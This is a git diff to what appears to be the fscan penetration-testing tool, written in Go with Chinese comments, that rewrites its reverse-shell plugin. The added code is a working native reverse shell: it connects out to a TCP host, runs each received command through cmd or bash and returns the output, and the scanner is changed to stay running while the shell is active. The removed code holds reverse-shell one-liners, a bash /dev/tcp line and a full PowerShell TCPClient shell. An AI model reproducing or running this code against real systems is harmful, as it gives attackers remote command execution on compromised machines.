diff --git a/Common/Flag.go b/Common/Flag.go index 04acb3f..1a309f7 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -65,6 +65,7 @@ var ( // 反弹Shell相关变量 ReverseShellTarget string + ReverseShellActive bool // 反弹Shell是否处于活跃状态 // Parse.go 使用的变量 HostPort []string diff --git a/Core/Scanner.go b/Core/Scanner.go index d787d5b..94491a5 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -58,6 +58,15 @@ func RunScan(info common.HostInfo) { // 等待所有扫描完成 wg.Wait() + // 检查是否有活跃的反弹Shell + if common.ReverseShellActive { + common.LogBase("检测到活跃的反弹Shell,保持程序运行...") + common.LogBase("按 Ctrl+C 退出程序") + + // 进入无限等待,保持程序运行以维持反弹Shell连接 + select {} // 阻塞等待,直到收到系统信号 + } + // 完成扫描 finishScan() } diff --git a/Plugins/local/reverseshell/plugin.go b/Plugins/local/reverseshell/plugin.go index 820db2b..6a9dd9a 100644 --- a/Plugins/local/reverseshell/plugin.go +++ b/Plugins/local/reverseshell/plugin.go @@ -1,8 +1,10 @@ package reverseshell import ( + "bufio" "context" "fmt" + "io" "net" "os" "os/exec" @@ -51,9 +53,9 @@ func NewReverseShellPlugin() *ReverseShellPlugin { Name: "reverseshell", Version: "1.0.0", Author: "fscan-team", - Description: "反弹Shell本地插件,支持Windows/Linux/macOS", + Description: "纯Go原生反弹Shell本地插件,支持Windows/Linux/macOS", Category: "local", - Tags: []string{"local", "shell", "reverse", "crossplatform"}, + Tags: []string{"local", "shell", "reverse", "crossplatform", "native"}, Protocols: []string{"local"}, } @@ -131,9 +133,9 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (* return p.ScanLocal(ctx, info) } -// ScanLocal 执行反弹Shell扫描 +// ScanLocal 执行反弹Shell扫描 - 纯Go原生实现 func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogBase("开始反弹Shell准备...") + common.LogBase("启动Go原生反弹Shell...") // 建立连接 conn, err := p.connector.Connect(ctx, info) @@ -147,34 +149,135 @@ func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInf reverseShellConn := conn.(*ReverseShellConnection) - // 生成反弹Shell命令 - commands := p.generateReverseShellCommands() - currentOS := runtime.GOOS - command, exists := commands[currentOS] - if !exists { + // 启动反弹shell + common.LogBase(fmt.Sprintf("连接到目标 %s", reverseShellConn.Target)) + + // 直接在当前goroutine中运行,这样可以确保在设置ReverseShellActive后立即被主程序检测到 + err = p.startNativeReverseShell(ctx, reverseShellConn.Host, reverseShellConn.Port) + if err != nil { + common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err)) return &base.ScanResult{ Success: false, - Error: fmt.Errorf("当前平台 %s 不支持反弹Shell", currentOS), + Error: err, }, nil } result := &base.ScanResult{ Success: true, Service: "ReverseShell", - Banner: fmt.Sprintf("反弹Shell准备就绪 - 目标: %s 平台: %s", reverseShellConn.Target, currentOS), + Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", reverseShellConn.Target, runtime.GOOS), Extra: map[string]interface{}{ - "target": reverseShellConn.Target, - "platform": currentOS, - "command": command, - "status": "ready", - "commands": commands, + "target": reverseShellConn.Target, + "platform": runtime.GOOS, + "implementation": "go_native", + "status": "completed", }, } - common.LogSuccess(fmt.Sprintf("反弹Shell扫描完成,目标: %s,平台: %s", reverseShellConn.Target, currentOS)) return result, nil } +// startNativeReverseShell 启动Go原生反弹Shell - 核心实现 +func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int) error { + // 连接到目标 + conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", host, port)) + if err != nil { + return fmt.Errorf("连接失败: %v", err) + } + defer conn.Close() + + common.LogSuccess(fmt.Sprintf("反弹Shell已连接到 %s:%d", host, port)) + + // 设置反弹Shell为活跃状态,告诉主程序保持运行 + common.ReverseShellActive = true + defer func() { + // 确保退出时清除活跃状态 + common.ReverseShellActive = false + }() + + // 发送欢迎消息 + welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH) + conn.Write([]byte(welcomeMsg)) + conn.Write([]byte("Type 'exit' to quit\n")) + + // 创建读取器 + reader := bufio.NewReader(conn) + + for { + // 检查上下文取消 + select { + case <-ctx.Done(): + conn.Write([]byte("Shell session terminated by context\n")) + return ctx.Err() + default: + } + + // 发送提示符 + prompt := fmt.Sprintf("%s> ", getCurrentDir()) + conn.Write([]byte(prompt)) + + // 读取命令 + cmdLine, err := reader.ReadString('\n') + if err != nil { + if err == io.EOF { + common.LogBase("反弹Shell连接关闭") + return nil + } + return fmt.Errorf("读取命令错误: %v", err) + } + + // 清理命令 + cmdLine = strings.TrimSpace(cmdLine) + if cmdLine == "" { + continue + } + + // 检查退出命令 + if cmdLine == "exit" { + conn.Write([]byte("Goodbye!\n")) + return nil + } + + // 执行命令 + result := p.executeCommand(cmdLine) + + // 发送结果 + conn.Write([]byte(result + "\n")) + } +} + +// executeCommand 执行系统命令 +func (p *ReverseShellPlugin) executeCommand(cmdLine string) string { + var cmd *exec.Cmd + + // 根据操作系统选择命令解释器 + switch runtime.GOOS { + case "windows": + cmd = exec.Command("cmd", "/C", cmdLine) + case "linux", "darwin": + cmd = exec.Command("bash", "-c", cmdLine) + default: + return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS) + } + + // 执行命令并获取输出 + output, err := cmd.CombinedOutput() + if err != nil { + return fmt.Sprintf("错误: %v\n%s", err, string(output)) + } + + return string(output) +} + +// getCurrentDir 获取当前目录 +func getCurrentDir() string { + dir, err := os.Getwd() + if err != nil { + return "unknown" + } + return dir +} + // GetLocalData 获取反弹Shell本地数据 func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { data := make(map[string]interface{}) @@ -184,6 +287,7 @@ func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]inter data["platform"] = runtime.GOOS data["arch"] = runtime.GOARCH data["target"] = p.target + data["implementation"] = "go_native" if homeDir, err := os.UserHomeDir(); err == nil { data["home_dir"] = homeDir @@ -193,119 +297,16 @@ func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]inter data["work_dir"] = workDir } - // 生成命令 - data["commands"] = p.generateReverseShellCommands() - return data, nil } -// ExtractData 提取数据并执行反弹Shell -func (p *ReverseShellPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { - commands, ok := data["commands"].(map[string]string) - if !ok { - return &base.ExploitResult{ - Success: false, - Error: fmt.Errorf("无法获取反弹Shell命令"), - }, nil - } - - currentOS := runtime.GOOS - command, exists := commands[currentOS] - if !exists { - return &base.ExploitResult{ - Success: false, - Error: fmt.Errorf("当前平台 %s 不支持反弹Shell", currentOS), - }, nil - } - - common.LogBase(fmt.Sprintf("开始执行反弹Shell命令: %s", command)) - - // 执行反弹Shell命令 - result, err := p.executeReverseShell(ctx, command) - if err != nil { - common.LogError(fmt.Sprintf("反弹Shell执行失败: %v", err)) - return &base.ExploitResult{ - Success: false, - Error: err, - Extra: map[string]interface{}{ - "command": command, - "platform": currentOS, - "target": p.target, - }, - }, nil - } - - common.LogSuccess("反弹Shell执行完成") - return &base.ExploitResult{ - Success: true, - Output: fmt.Sprintf("反弹Shell已执行,目标: %s", p.target), - Data: data, - Extra: map[string]interface{}{ - "command": command, - "platform": currentOS, - "target": p.target, - "output": result, - }, - }, nil -} - -// generateReverseShellCommands 生成不同平台的反弹Shell命令 -func (p *ReverseShellPlugin) generateReverseShellCommands() map[string]string { - host, portStr, _ := net.SplitHostPort(p.target) - if host == "" { - host = p.target - portStr = "4444" - } - - commands := map[string]string{ - "linux": fmt.Sprintf("bash -i >& /dev/tcp/%s/%s 0>&1", host, portStr), - "darwin": fmt.Sprintf("bash -i >& /dev/tcp/%s/%s 0>&1", host, portStr), - "windows": fmt.Sprintf("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('%s',%s);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"", host, portStr), - } - - return commands -} - -// executeReverseShell 执行反弹Shell命令 -func (p *ReverseShellPlugin) executeReverseShell(ctx context.Context, command string) (string, error) { - var cmd *exec.Cmd - - switch runtime.GOOS { - case "windows": - // Windows PowerShell命令 - cmd = exec.CommandContext(ctx, "powershell", "-Command", command) - case "linux", "darwin": - // Unix-like系统使用bash - cmd = exec.CommandContext(ctx, "bash", "-c", command) - default: - return "", fmt.Errorf("不支持的操作系统: %s", runtime.GOOS) - } - - // 设置超时 - timeoutCtx, cancel := context.WithTimeout(ctx, 10*time.Second) - defer cancel() - - cmd = exec.CommandContext(timeoutCtx, cmd.Args[0], cmd.Args[1:]...) - - output, err := cmd.CombinedOutput() - if err != nil { - return "", fmt.Errorf("执行反弹Shell命令失败: %v, 输出: %s", err, string(output)) - } - - return string(output), nil -} - // GetInfo 获取插件信息 func (p *ReverseShellPlugin) GetInfo() string { - commands := p.generateReverseShellCommands() var info strings.Builder - info.WriteString(fmt.Sprintf("反弹Shell插件 - 目标: %s\n", p.target)) - info.WriteString("支持的平台命令:\n") - - for platform, command := range commands { - info.WriteString(fmt.Sprintf(" %s: %s\n", platform, command)) - } + info.WriteString(fmt.Sprintf("Go原生反弹Shell插件 - 目标: %s\n", p.target)) + info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) + info.WriteString("实现方式: 纯Go原生,无外部依赖\n") return info.String() } @@ -317,10 +318,10 @@ func RegisterReverseShellPlugin() { Name: "reverseshell", Version: "1.0.0", Author: "fscan-team", - Description: "反弹Shell本地插件,支持Windows/Linux/macOS", + Description: "纯Go原生反弹Shell本地插件,支持Windows/Linux/macOS", Category: "local", - Tags: []string{"reverseshell", "local", "shell", "crossplatform"}, - Protocols: []string{"tcp"}, + Tags: []string{"reverseshell", "local", "shell", "crossplatform", "native"}, + Protocols: []string{"local"}, }, func() base.Plugin { return NewReverseShellPlugin()